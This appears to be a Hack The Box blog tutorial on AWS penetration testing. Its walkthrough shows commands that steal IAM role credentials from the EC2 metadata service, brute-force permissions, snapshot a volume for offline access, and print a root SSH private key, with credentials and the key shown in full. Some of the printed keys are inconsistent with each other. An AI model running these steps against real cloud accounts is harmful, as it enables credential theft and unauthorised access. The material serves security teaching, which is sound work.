Red Teaming

22 min read

AWS penetration testing: a step-by-step guide

Christian Becker, Advanced Attack Simulation Specialist at Y-Sec, shares essential techniques and tools for AWS pentesting.

0xchrisb avatar

0xchrisb,
Apr 04
2023

Cloud environments have evolved in recent years with more and more companies migrating to cloud infrastructure hosted by providers like Amazon Web Services (AWS). This introduces new vulnerabilities to the infrastructure, and especially with the Shared Responsibility Model, may introduce new risks to a company’s threat model when moving content into the cloud. 

In this post, I will cover existing testing methodologies and the specific steps required to conduct an AWS penetration test. Additionally, I’ve summed up an introduction to Amazon Web Services and the dangers of cloud environments, which are highly recommended reads if you are new to cloud pentesting or AWS. 

Testing and auditing AWS services from a penetration testing perspective requires deep technical knowledge about all available configurations and possible security implications. Two common methodologies and sources that provide additional information about security configurations are described in the below sections.

AWS

Amazon Web Services itself is probably the best starting point to learn about the general security of AWS and its services via their Best Practices for Security, Identity, & Compliance. Each service has its own documentation which can be selected via the AWS Documentation page. This documentation is also useful in a penetration test, especially if a lesser-known AWS service is used.

CIS Benchmarks

The Center for Internet Security (CIS) gives free access to the Amazon Web Services Benchmark documents via their website. Available documents directly related to Amazon Web Services include:

  • CIS Amazon Web Services Foundations Benchmark v1.5.0

  • CIS AWS End User Compute Services Benchmark v1.0.0

  • CIS Amazon Web Services Three-tier Web Architecture Benchmark v1.0.0

These documents cover guidance for configuring security options for a subset of Amazon Web Services with an emphasis on foundational, testable, and architecture agnostic settings, including EC2 and S3.

Available documents directly related to Amazon Linux (as used in e.g., EC2 instances) include:

  • CIS Amazon Linux 2 Benchmark v2.0.0

  • CIS Amazon Linux 2 STIG Benchmark v2.0.0

  • CIS Amazon Linux Benchmark v2.1.0

The documents focus on the general security configuration of an EC2 Linux instance which is like other hardening guides of CIS Benchmarks, such as for Ubuntu. CIS Benchmarks also exist for Amazon’s Kubernetes Services that can be used to harden the service against recommended security controls.

It should be noted that AWS is responsible for the Kubernetes control plane and the customer is required to take care of the security configuration, such as firewalling, worker nodes and installing security updates on the worker nodes:

  • Amazon Elastic Kubernetes Service (EKS) Benchmark v1.2.0

In comparison to available information by AWS it only covers a very small subset of functionality.

Preparing for an AWS penetration test

We’ll now step through the common phases of a cloud penetration test within Amazon Web Services, which may also be included in a Red team assessment (even though we would be stealthier). First, we quickly describe what a cloud penetration test is: 

A cloud penetration test is usually performed from the perspective of an external attacker having no or limited knowledge of the internal cloud configuration, similar to an application or infrastructure assessment.

The phases of a cloud penetration test are like those in a standard penetration test but require some more information and setup depending on the services in scope. Usually, the phases involve:

  • Prerequisites: Used to agree on the scope of the cloud penetration test.

  • Attack Surface: Identification of used services within the cloud project.

  • Testing: Technical phase of the penetration test in which the in-scope services are attacked.

Prerequisites and scope

Before we begin with the technical part of the cloud penetration test, we need to agree on the scope, need to determine the services used, and to which level they may be attacked during the penetration test. 

Please remember that AWS has a Shared Responsibility Model which in some cases does not allow performing penetration tests to the full extent an attacker without boundaries (or legal fear) would usually do.

The scope and boundaries are defined in the scoping process of a cloud penetration test assessment in which at least the following questions are asked:

  • How many non-standard AWS Identity and Access Management (IAM) policies exist?

  • Which services are used? 

  • How many IAM Policies are assigned?

  • How many accounts exist?

Additionally, the assessment may be performed in conjunction with a cloud audit. In a cloud audit assessment, read-only access to the cloud environment is used to identify configuration vulnerabilities within the components, which is like a configuration review of an operating system. So how do cloud penetration tests differ from cloud audits? 

In a cloud penetration test, we may for example not get to the point of identifying how back-end services communicate with each other (e.g., HTTP vs HTTPS) or how an AWS EC2 instance is configured in detail (e.g., disk encryption). In a cloud audit, we have access to all configurations and hence can determine if a vulnerability exists. On the other hand, a cloud audit would not include an application or service level test as we would perform it in a cloud penetration test.

Basics to interact with AWS 

The basics required to interact with cloud-hosted applications are like those when performing a penetration test of an application or infrastructure service, as the perspective (usually BlackBox) does not directly expose AWS Access Keys and services. Obviously, some services are exposed to the user, such as S3 buckets, but testing those does not require a special toolkit. If any AWS authentication credentials are provided, then the AWS Command Line Interface (AWS CLI) should be the first tool of choice.

Introduction to AWS Cloud Services

Amazon Web Services (AWS) is the cloud computing service of Amazon.com and provides access to over 230 Cloud services from data centers in over 26 regions around the world. Offered services range from simple storage solutions over databases to private computing power.

Customers can choose where and how to store data and no longer have to rely on on-premises hosting.

The Shared Responsibility Model

AWS uses a Shared Responsibility Model, which contains two parts: \

  1. Security of the Cloud which falls under AWS's responsibility

  2. Security in the Cloud which is the customer’s responsibility. 

With the Security of the Cloud, AWS ensures the availability, management, and security of AWS services. This includes maintaining updates and security patches on which the services reside as well as the virtualization layers and physical security of the facilities and redundant services. 

The customer’s Security in the Cloud responsibility is to configure chosen services in a secure way. Services part of Infrastructure as a Service (IaaS), e.g., an Elastic Compute Cloud (EC2) instance, will require more configuration as it also includes installing updates and security patches as well as configuring network firewalls. More Abstract Services, such as an Amazon S3 bucket, require less configuration as the infrastructure and operating system is maintained by AWS.

One of the most important configuration steps that the customer must take is to manage the data used in the services and apply appropriate access permissions.

Rules of engagement (dos and don'ts) for AWS penetration tests

The Shared Responsibility Model obviously has an impact on penetration tests performed within AWS as not all elements of a classic penetration test can be performed. 

Amazon has published a Customer Support Policy for penetration testing which allows performing penetration tests of the AWS infrastructure without approval for selected services. For example, S3-hosted applications are permitted while performing a penetration test against S3 buckets itself is strictly prohibited.

Some services, especially AWS infrastructure and AWS services are not permitted at all to be included in a security assessment. This especially includes attacks against DNS (Route 53) and performing Denial of Service (DoS) attacks.

Why cloud environments can be dangerous

Cloud providers make it easier for companies to dynamically create new services, request resources per needs, and outsource IT tasks. However, cloud environments are still evolving, which may introduce new vulnerabilities to the infrastructure, and especially with the Shared Responsibility Model, may introduce new risks to a company’s threat model when moving content into the cloud. 

AWS publishes Security Bulletins on their website, which for example, includes 10 bulletins released in 2022 that directly affect AWS services. This includes known vulnerabilities affecting AWS services, such as Log4j (CVE-2021-44228 and CVE-2021-45046) or OpenSSL related vulnerabilities (CVE-2022-3602 and CVE-2022-3786). Technology-specific vulnerabilities are not only a concern to cloud environments but could also affect on-premises hosted services. Therefore, this is often already part of a company’s threat model. AWS also has its own Compliance Programs to transparently show how robust controls in place at AWS are to maintain security and compliance of the cloud, such as by aligning to ISO 20000, Cyber Essentials Plus, C5, or TiSAX.

The Shared Responsibility also includes the fact that resources are shared between different customers and that customers need to trust AWS to separate data correctly. For example, in December 2022 a vulnerability was reported in ECR Public Gallery (Elastic Container Registry), which can be used for finding and sharing public container images. In this service, a vulnerability was found that could have been abused by an attacker to modify or remove images available in the ECR Public Gallery. This finding is one example that the Shared Responsibility model also includes the risk that data shared between customers may not be correctly protected.

Another risk of cloud environments is that employees working with the environment do not have the required technical knowledge about all available configurations and security implications and may improperly configure a service.

Suggested tools for performing AWS penetration testing

Attacking cloud environments requires a deep logical understanding of used components and how they interact with each other. Unfortunately, there is no tool that solves all problems in a cloud assessment as the tools mostly depend on specific access rights to execute properly. 

In some cases, the tools brute force access rights by observing responses to commands. Especially in AWS, a brute force may take a lot of effort due to the required parameters in an AWS command such as the region. The following is a list of some proven references and tools:

  1. AWS CLI: Provides a unified command line interface to Amazon Web Services.

  2. AWS CLI reference: Command reference of AWS CLI and useful information about resources

  3. Prowler: Prowler is an Open Source security tool to perform AWS and Azure security best practices assessments, audits, incident response, continuous monitoring, hardening and forensics readiness.

  4. AWS Consoler: A utility to convert your AWS CLI credentials into AWS console access.

  5. awsenum: awsenum is a tool to identify what permissions your account has in AWS by brute-forcing the different operations and check what can you perform. It is only limited to read operations.

  6. Enumerate IAM: Tool to enumerate IAM permissions.

  7. Scout Suite: Scout Suite is an open source multi-cloud security-auditing tool, which enables security posture assessment of cloud environments.

  8. WeirdAAL: AWS Attack Library.

  9. Hacktricks Cloud AWS Pentesting: Collection of AWS attack vectors and methodologies. 

It should be noted that some of the tools are no longer maintained or do not implement the latest available commands and resources of AWS. However, they still provide useful information during a penetration test. Additionally, linked tools should be reviewed and executed with care.

Identify the attack surface

In a cloud penetration test we first need to determine (even though this was also included during the scoping process) which services are:

  • Used by the application (e.g., EC2 vs Lambda)

  • Externally exposed (e.g., S3 bucket with static CSS files vs DynamoDB)

  • Managed by AWS or by the customer

This also involves enumerating and fingerprinting the cloud infrastructure for used components and further third-party software.

Depending on the information given before the penetration test or information identified throughout the assessment, this may also involve stepping into AWS Identity and Access Management (IAM). AWS Identity and Access Management service is used to control access to AWS resources by defining policies. 

AWS comes with over 1000 pre-defined policies but can also be extended with custom policies which are defined in a JSON format. For example, the default policy arn:aws:iam::aws:policy/AmazonEC2FullAccess looks like:

{

    "Version": "2012-10-17",

    "Statement": [

        {

            "Action": "ec2:*",

            "Effect": "Allow",

            "Resource": "*"

        },

        {

            "Effect": "Allow",

            "Action": "elasticloadbalancing:*",

            "Resource": "*"

        },

        {

            "Effect": "Allow",

            "Action": "cloudwatch:*",

            "Resource": "*"

        },

        {

            "Effect": "Allow",

            "Action": "autoscaling:*",

            "Resource": "*"

        },

        {

            "Effect": "Allow",

            "Action": "iam:CreateServiceLinkedRole",

            "Resource": "*",

            "Condition": {

                "StringEquals": {

                    "iam:AWSServiceName": [

                        "autoscaling.amazonaws.com",

                        "ec2scheduled.amazonaws.com",

                        "elasticloadbalancing.amazonaws.com",

                        "spot.amazonaws.com",

                        "spotfleet.amazonaws.com",

                        "transitgateway.amazonaws.com"

                    ]

                }

            }

        }

    ]

}
 

Customizing IAM policies and restricting user/service accounts to special services and resources requires a deep knowledge of the AWS services used and, in some cases, may involve some trial and error. Although this is a very good way to implement the principle of least privilege, it is often not used and if it is, the accounts are often configured far too permissive.

Common AWS penetration testing techniques within an attack path

In this section we assume that we are already performing a cloud penetration test against a vulnerable application that uses various AWS services. The described techniques are not fully presented, nor is it a complete list of all testing techniques usually performed in a cloud penetration test. However, they still give some insights and ideas on how a cloud penetration test is performed in general.

1. External reconnaissance

Reconnaissance is a time-consuming but also non-neglectable part of every security assessment, as actions performed are usually based on discovered information. An attacker needs to understand the environment, have situational awareness, and be able to use his creative mind to connect the dots to create an attack path. 

From a black box perspective, standard penetration testing tools such as Burp Suite Professional support detecting common misconfigurations, out-of-date software, and application vulnerabilities.

In addition, some AWS-specific reconnaissance steps should be performed such as:

  • Searching the AWS Marketplace for the target organization as the accountid may be disclosed.

  • Bute-Forcing the account ID via the AWS Sign-In URL: https://<acountid>.signin.aws.amazon.com.

  • Searching through public Snapshots (e.g., EBS Snapshots) or AMI Images.

2. Local Filesystem

In some cases, it is possible to gain interactive access to a service, such as an EC2 instance. The steps after initially compromising an EC2 instance do not differ much from compromising a server in a penetration test or attack simulation, but additional checks should be performed as the environment may disclose sensitive information that could be used in further attacks. 

Common tasks of Local Filesystem checks include:

  • Discovery of Sensitive information (Passwords, Application Files, Documentation, Home Directories, Environment Configuration)

  • Privilege Escalation (Misconfiguration, Kernel Exploit, Permissive Privileges)

  • Pivoting to other Services in the same network (Port Scan)

In addition to the above common tasks, special care should be given to the below as they are AWS Cloud Environment specific:

AWS Security Tokens are used to provide temporary, limited-privilege access for AWS Identity and Access Management (IAM) users. Those tokens can be used directly by users (e.g., to use them in development processes such as terraform or within AWS services).

For example, EC2 instances can be configured with additional privileges via IAM roles. Applications and services running on the system are then able to request credentials to access further services to which access was granted by the IAM role. This provides an easy way for a developer to distribute credentials across services, but also poses the risk that an attacker could re-use the credentials in further attacks.

The credentials can be requested via the AWS metadata service, which is reachable via http://169.254.169.254/ or http://[fd00:ec2::254]. The metadata service holds different kinds of information which are split into categories. The most interesting categories for an attacker regarding credentials are:

  • iam/info: Contains information about associated IAM roles.

  • iam/security-credentials/role-name: Contains temporary security credentials associated with the role.

To access the metadata service, a token needs to be crafted – which however doesn’t require authentication details. AWS introduced the token in their Instance Metadata Service Version 2 (IMDSv2) as part of a session-oriented method and to prevent SSRF abuse in applications.

In the below example, an attacker was able to compromise a machine (manager) as the www-data user. The attacker then requested a new API token, printed the API token, and used the API token to gather further information about the system:

[www-data@manager ~]$ TOKEN=`curl -s -X PUT "http://169.254.169.254/latest/api/token" -H "X-aws-ec2-metadata-token-ttl-seconds: 21600"`




[www-data@manager ~]$ echo $TOKEN

AQAAAPjZig94ZtF4xhBwgAATxNGTMMY5Xx6Bu2Hs2Fqp-St5WebEqQ==




[www-data@manager ~]$ curl -H "X-aws-ec2-metadata-token: $TOKEN" http://169.254.169.254/latest/dynamic/instance-identity/document

{

  "accountId" : "124253853813",

  "architecture" : "x86_64",

  "availabilityZone" : "eu-central-1a",

  "billingProducts" : null,

  "devpayProductCodes" : null,

  "marketplaceProductCodes" : null,

  "imageId" : "ami-0c0d3776ef525d5dd",

  "instanceId" : "i-067fa056e678575c6",

  "instanceType" : "t2.micro",

  "kernelId" : null,

  "pendingTime" : "2023-02-21T10:30:41Z",

  "privateIp" : "172.31.17.24",

  "ramdiskId" : null,

  "region" : "eu-central-1",

  "version" : "2017-09-30"

}

 

In the next step, the attacker listed information about available IAM roles and requested the associated security credentials:

[www-data@manager ~]$ curl -H "X-aws-ec2-metadata-token: $TOKEN" http://169.254.169.254/latest/meta-data/iam/info

{

  "Code" : "Success",

  "LastUpdated" : "2023-02-21T10:30:44Z",

  "InstanceProfileArn" : "arn:aws:iam::124253853813:instance-profile/ServerManager",

  "InstanceProfileId" : "AIPAWA6NVTVY3D6FKNVMM"
}

[www-data@manager ~]$ curl -H "X-aws-ec2-metadata-token: $TOKEN" http://169.254.169.254/latest/meta-data/iam/security-credentials/ServerManager

{

  "Code" : "Success",

  "LastUpdated" : "2023-02-21T10:30:16Z",

  "Type" : "AWS-HMAC",

  "AccessKeyId" : "ASIAWA6NVTVYRAJE4MWO",

  "SecretAccessKey" : "DvwdhlDdP13AnTPSgkk5LpToQSQGehcA3JK94gAG",

  "Token" : "IQoJb3JpZ2luX2VjECMaDGV1LWNlbnRyYWwtMSJHMEUCIG9N8Fiy/2ew8j5egLDkoeqF5V3wPwK4jGe4cLAktbaPAiEA7Lo0iVA66CG8aEqNowjAmf4WpaY7dlikuOSXUEfiZ5Uq3wQIvP//////////ARAAGgw0MTQzNTg4MDU4NzMiDBmFU+syY8xirSbpHSqzBKUBkhtt3XJnGJdkbjRY6lywCQnlw8ANYcelnRP00P3dlyIb+QRHhCX4HLuYT7tzytaCNSRHmoEhuPebzxnQOqGVZNT03fseOGdlodl2tA+eX6RIRRwbYoe1TL/CZDltqR84EM7QNsODtTtsXc6LWbnDQH5aY8IhSCGNMyLThcuWxXHz1xXsJpyoSQD5gu1jeRi5wcZceF2P5A+anCV2PGxYGcc8PY4e2ySfL43pWVWJ20et7+lWFUoQgmf6jyiBr6SYr8c76/E98bndzQBnNIoUVjNuUDAvj4x/orFY1onssKMIH8ZUawodh1Q6jw3FTQjSf4rba/aNA4a6vZAnrrUNOsprmoZjv3yx6yHF3g5crL5FX5jPkzSvsz3tOZ9sYUu3g3h3TUjrdlZhA6z2yo/AK7XD7CHa1xwc8FOagBBqRYfGyrL7TNPZXa2EyQkfhI++9EzL4Wpbih/zcVVnlKUfJl610O3X3hJHst6rj6TZAuMP05g8LHdqdIkACFDmcCARKNL7I6KFFPS0sgLqYsu3FkrN55ZXXW4EmvdrnBTmdPfSL9hh77BbLH0uWQU1KhvI5fTmDnUGU24sUF/WQYQQKZShJ0sH82ivEmVFkD7157926d5Hensomg2spNoIXYj+uFGp/iAA9ySEQhz/WGqTJH/GBrp13e0smOusYdU75hg2aax3SPO3m25V29p6WjEajmPpbNkrgHqXXDxqiwF8awNDRuXl0pyPsM00RaW3o/tvMNS60p8GOqkB4S+G+taayWybv6Am85Ae7pSqwfMknjwBZfOTvTbVCydV2RpcZyv1gjqJhOguZZAQzv6rADK2OeBN0bmnNPxY4Om36AQ8eGdpZbs2naGBdCioV5UyLE99Y6dpI9881UG+i9i2qs0EclJLUOgxCdJIlV8j4AgURs2SZeuxfo5ZanG3LubP9BJGGLbLwo5CPDTHA0usGEDYZD1l0A5Ln6mB0EjB2py+g0Omew==",

  "Expiration" : "2023-02-21T17:05:44Z"
}
 

In this case the attacker was able to identify that the IAM role ServerManager is assigned to the EC2 instance. 

The AccessKeyId, SecretAccessKey and Token combination can then be used via the AWS CLI to issue further commands with the granted permissions. In order to use the credentials the file ~/.aws/credentials can be created with the following content:

[default]

aws_access_key_id = ASIAWA6NVTVY5CNUKIUO

aws_secret_access_key = wSHLoJrGVnjfo+xxKwt1cblFpiZgWF20DMxXpTXn

aws_session_token = IQoJb3JpZ2luX2VjECEaDGV1LWNlbnRyYWwtMSJIMEYCIQCnZUyvONtQlYo9E7wvsBQp5yozH/EiPnO4BoXXajyIiwIhAMsOP10IS+ItChhHgzvKMprEPJkKpWl5GKTH3hInYv6gKt8ECLr//////////wEQABoMNDE0MzU4ODA1ODczIgyan7zp7MCE5SEbGO4qswTx/skDLRfBDHMnkXE9rzH7YXvEjXchuasGVywChi9vFyoujll7wc3gmts+LRrgrTC+lV5p/uDC3iHloXiPuEgf6YDRB0OoX4J9jKooGxBAmbdhyvL6kivHlywONtLE8mcf3SrC3ZZqyJ/5KQX+NWNt8Vj1GC/HNssYuToHOLExmUsm5Pw3VgElvcgRaovgU3hwQGLBh7gXCFzp4rAW57jaOcARGQJQr/ONYzgSIZ9LNqMjSBZwREVmTJVhzrDbz7AoPdERnz+K374jd/s+3k7ujBgYxOlk/0Osl7J2+79Wj5+7TDfQXulic/bEwJdCdFX1gcpN5CG3uXnQZQ1USwX4Zb6TSPvHutOOpDjX9pvG2qPt7QC5SV3EuDSOLNvPVrFExOKJcaQhryhZW56hHBpUyVkl5USV2KiAPaniJ6RjYewBX844ddYYaJGp9UEQSxovXPh0mwEKenVTegi3db1bMPkX0CT7IS4GO6bv71/++zQp+pl3fOvp9ixbAa3vzbawLQvpENHpDyRH9K6UT1VPFGK4tbgmrUmBytYp1SKc5UvEDJFg51htlk19MXO3F3fSUWPB5kuo6AEpxnzqElWagBVwswgt6hh0spVjm7PAoO7xTm9yfEc60li/RYGnT4PRQmlbiXiB/sdHVcM29Fmkg7aKo013z06OYNuzIF+Bldf2ziuL8rFM1aU0Af77lUNgpAto0A38iY3a1vBr9xpUJ6ZaXVxMXCbIKG8vTZ94P4f8+TD2idKfBjqoAT5RSXeKY76pZ+P1vOIE+btQjCYsqFzhQwDsk06w+9G89Pa5dVMvhOI0NT0foZeX7aJFhcHigrC5pPkooNQ0wBm1waotdwDTPEKAOwL8HHvtUiuohdR6kYNxKwzqt6g61HcNVd2qzoxf31uDMquXq3OdvcPZHR4LyitKGcptgjQ21ZzcIiuqsqg4k879O8D8v4U3GBSQk7B5UK/2pVKPmqLs/X4cTxUkmQ==

 

The command aws sts get-caller-identity can be used to verify if AWS credentials are valid and to output details about the IAM user and role (ServerManager):

 

In the next step an attacker would usually try to gain further information about the associated role and permissions. The simplest way of doing so is listing attached role-policies and their permissions:

[www-data@manager ~]$ aws sts get-caller-identity
{
    "Account": "124253853813", 

    "UserId": "AROAWA6NVTVY4Q3ND6536:i-067fa056e678575c6", 

    "Arn": "arn:aws:sts::124253853813:assumed-role/ServerManager/i-067fa056e678575c6"
}
[www-data@manager ~]$ aws iam list-attached-role-policies --role-name ServerManager

An error occurred (AccessDenied) when calling the ListAttachedRolePolicies operation: User: arn:aws:sts::124253853813:assumed-role/ServerManager/i-067fa056e678575c6 is not authorized to perform: iam:ListAttachedRolePolicies on resource: role ServerManager because no identity-based policy allows the iam:ListAttachedRolePolicies action
 

In this example, the user does not have the required permission to do so, which means that the information would need to be gathered via a brute force attack. In this attack, all available AWS CLI commands are issued with the stolen security credentials. If one of the commands does not return an error, then it is marked as valid, which means that the user has access.

Various tools exist (see the suggested tools section of this post) to do this. In this example we have used enumerate-iam, which provided the below output:

[www-data@manager enumerate-iam-master]#./enumerate-iam.py --access-key ACCESS_KEY --secret-key SECRET_KEY --session-token SESSION_TOKEN

2023-02-23 14:10:27,443 - 3545 - [INFO] Starting permission enumeration for access-key-id "ASIAWA6NVTVYRAJE4MWO"

2023-02-23 14:10:28,083 - 3545 - [INFO] -- Account ARN : arn:aws:sts::124253853813:assumed-role/ServerManager/i-067fa056e678575c6

2023-02-23 14:10:28,084 - 3545 - [INFO] -- Account Id  : 124253853813

2023-02-23 14:10:28,084 - 3545 - [INFO] -- Account Path: assumed-role/ServerManager/i-067fa056e678575c6

2023-02-23 14:10:28,933 - 3545 - [INFO] Attempting common-service describe / list brute force.

2023-02-23 14:10:35,937 - 3545 - [INFO] -- dynamodb.describe_endpoints() worked!

2023-02-23 14:10:36,799 - 3545 - [INFO] -- sts.get_caller_identity() worked!

2023-02-23 14:10:43,106 - 3545 - [INFO] -- ec2.describe_volumes() worked!

In this case, we were able to identify that the credentials have access to ec2:CreateSnapshot and ec2:DescribeVolumes. Additionally, dynamodb:describe_endpoints was found, which is a false-positive as it is required by Timestream and must be callable – even though Timestream is not allowed at all.

5. Privilege escalation

With the captured authentication credentials and information about assigned permission (ec2:CreateSnapshot and ec2:DescribeVolumes) we can work out an attack path that could be used to escalate privileges to root or gain access to sensitive data stored on the system. Escalating privileges by abusing access permissions is a common scenario in a penetration test or even Red team assessment. 

In our attack path, we will first list available volumes of the EC2 machine (ec2:DescribeVolumes) and then create a publicly available backup/snapshot (ec2:CreateSnapshot) of the volume. One common misconfiguration when creating snapshots is that those are publicly shared with all other AWS user (independent of the assigned organization). In this case an attacker could login to their own AWS account, create a new EC2 instance and attach the created snapshot as second hard drive.

In the first step, the configured credentials can be used to get the volume id of the mounted volume: 

[www-data@manager ~]$ aws ec2 describe-volumes

{

    “Volumes”: [

        {

            “AvailabilityZone”: “eu-central-1a”, 

            “Attachments”: [

                {

                    “AttachTime”: “2023-02-21T06:58:45.000Z”, 

                    “InstanceId”: “i-067fa056e678575c6”, 

                    “VolumeId”: “vol-02ca4df63c5cbb8c5”, 

                    “State”: “attached”, 

                    “DeleteOnTermination”: true, 

                    “Device”: “/dev/xvda”

                }

            ], 

            “Encrypted”: false, 

            “VolumeType”: “gp2”, 

            “VolumeId”: “vol-02ca4df63c5cbb8c5”, 

            “State”: “in-use”, 

            “Iops”: 100, 

            “SnapshotId”: “snap-01c4670c36a9740ea”, 

            “CreateTime”: “2023-02-21T06:58:45.361Z”, 

            “MultiAttachEnabled”: false, 

            “Size”: 8

        }

    ]

}
 

In the second step we can create a new snapshot of the attached volume of the current system using the volume-id of the current hard drive:

[www-data@manager ~]$ aws ec2 create-snapshot –volume-id vol-02ca4df63c5cbb8c5 –description ‘Y-Security rocks!’

{

    “Description”: “Y-Security rocks!”, 

    “Tags”: [], 

    “Encrypted”: false, 

    “VolumeId”: “vol-02ca4df63c5cbb8c5”, 

    “State”: “pending”, 

    “VolumeSize”: 8, 

    “StartTime”: “2023-02-21T10:40:05.770Z”, 

    “Progress”: “”, 

    “OwnerId”: “124253853813”, 

    “SnapshotId”: “snap-06eedc6a7403eda54”

}
 

The created snapshot can then easily be found by searching for the OwnerId, if the current region is set to the same as the one in which the snapshot was created:

aws pentesting snapshot
 

After launching the instance, the snapshot can then be mounted to the new EC2 system to access the filesystem.

[ec2-user@ip-172-31-31-6 ~]$ sudo mount /dev/sdb1 /media/




[ec2-user@ip-172-31-31-6 ~]$ sudo ls /media/root/.ssh

authorized_keys  id_rsa  id_rsa.pub




[ec2-user@ip-172-31-31-6 ~]$ sudo cat /media/root/.ssh/id_rsa

-----BEGIN RSA PRIVATE KEY-----

MIIEpAIBAAKCAQEApNvZpkpiPqs6vdoGUXTfnv/ZtS0jk8rOrwi+3B8Kg7D4B4Yx

m31QJGD2t8RUEyjlrqpvoQ5tiq+s0xmxZzBioB2mFTzqV0DzyIZ3+zCHKn07tw26

N+67bWq88LTIHbadUfBiKRg4M9GnX8p1R2n2e9gIIxkBVBEQFmqMuVpg/3Yczww1

9MrpMHEEr0fJWbIr9Sc+1x+smZiJjAvgqGa2GZh0SLv05aVuXOGlpemx2CnFMGM/

9bisIRRgKQCMJqYh/cXf69qv9VL0CLHYh1TdSN87ZnWZeb/KNKd5iETTg5s2C6Jj

13NnNrea+GNYr3xLCUqACFQik1HVTH4ZPLJmvwIDAQABAoIBAB05pDHoidYWQMmb

NveFwobLUGrf36i5kT5STJN1JUYHP1EGJxEre+OXFOWq9kSXQXBfYn6osh6d2gNq

UJq8Zx9/YgvtypVBPHZV8DsldTDBFq7yzgpQVgWloG0Df15VGzqFZMFoO75j8kn2

+Cd6z2lQ+NBQBH5EsBdpOB07umpO2xmPbaBYa51+bFeRjvV8qhf01RrbovwrbeWr

qsr4aUgaOBpvIyszFM+q5ZkBAugLeYyPvKP3/fpEWtgIq4L+0Sch75srQ/ahYLQe

dQjGi0BTCqwWvoglHfID76r6jPSovyLKGY5wGlgUTSouHCEoAVkSsWb2vd/5IUns

ISx5ifECgYEA07vqFKyI1RenI5ZehH9l4uKXAH5bysibK4mkR7WSzKmP26cpkaib

NRqB+EaZlUHHnI+ZkGYxh/DKrCo888DDiS/W7zA0muqcBpU3tInDHYdKa9s2wkL+

lYytWVaVFTHN19omAQRlGaNxtJ8jBe9Nd1+sIMpvKoIkFqRfVX0asxsCgYEAx1Mn

nNBulvDy6WHvx5WDg4oD/ajSvKuFfyAd/bi3s6lVwejv6XeDxGoWOr/mZAuDCyUO

aGUTMhCYNedUavg7nTZl9LgPVuJROs3h2toaRqJJE8hh/per38DVuzXpkGqes+s2

OD3MwR8itHOIXsD5I5S6kOpsa5oJXAzJr672cS0CgYBDa16J3rZjQ/jQeBz4i6hh

qkzyt0l7NI1UO6u3ubVYvdU01/GAk/N34UzpRXG5+Qwaag83z5KN+rpOP9TQuNyK

XlVOLEdT3Mh5wCHQtt0OFfo4hcDV8ocmD3lTLSKjcQxeYvQe9stKcqTOIq4AQcak

8C3a8xqaqn3bR9OjYQaTaQKBgQCcNO62ViJU6D915uqi3ulSDLdT8xo0Abd9CQ53

6GsOwYYTkRlzPdZl9z20jO9hOCRad4/zAEMq2RZwJ/pgWmldq2P7hMOAs5w1GWQG

vyYYdNYQStmBTBvGHrlhHb8NDoGRPqQfL09niZ8JDAGzQEf/Om97YjvVl8H+AYeN

xvAbgQKBgQCAji3zHMwRlh3J2az/vfIY79c1uerNMCNBsFrLH5e9D8Cx+Tq+mWiA

WjGvoMRN0a/mxpqX1WyPDEuwNoT547VnXNo2fKsZjsvqmjMGg5wFh4ERhFczb6gg

+0NbI8C71hiJMqDrYSvax4augU617PfzpR63PIWGxcc8oQe3L6F+kQ==

-----END RSA PRIVATE KEY-----
 

In this attack, we were able to identify an ssh key within the root directory of the compromised machine, which we could then re-use to escalate privileges to root.

Practice cloud penetration testing skills with BlackSky Cloud labs

In this post, I’ve shown some common techniques and attacks that can exist in cloud environments, but the best way to learn is through practice. Hack The Box’s BlackSky Cloud Labs are great for hands-on cloud security training because they feature realistic scenarios and vulnerabilities that can exist as part of a real organization's network. 

Author Bio: Christian Becker (0xchrisb), Co-Founder, Y-Security

Christian Becker has been working in offensive security for over 10 years and is nowadays the Co-Founder of Y-Security. He focuses on customized attack scenarios, including elements of classic penetration tests and innovative approaches to Attack Simulation. In his projects, Christian has examined and attacked complex structures and environments including banking (SEPA/SWIFT), operational technology (KRITIS), integration environments (DevOps), and tailored cloud environments.

Christian has a bachelor’s degree in IT Security/Information Engineering, as well as several industry certifications, including Burp Suite Certified Practitioner, Offensive Security Experienced Penetration Tester (OSEP), Offensive Security Certified Expert (OSCE), CREST Certified Tester Web Application (CCT App) and CREST Registered Tester (CRT).

Feel free to connect with him on Twitter or LinkedIn.

If you’re interested in learning more about his opinion on BlackSky, check out his in-depth reviews for Hailstorm (AWS), Cyclone (Azure), and Blizzard (GCP). 

 
Hack The Blog

The latest news and updates, direct from Hack The Box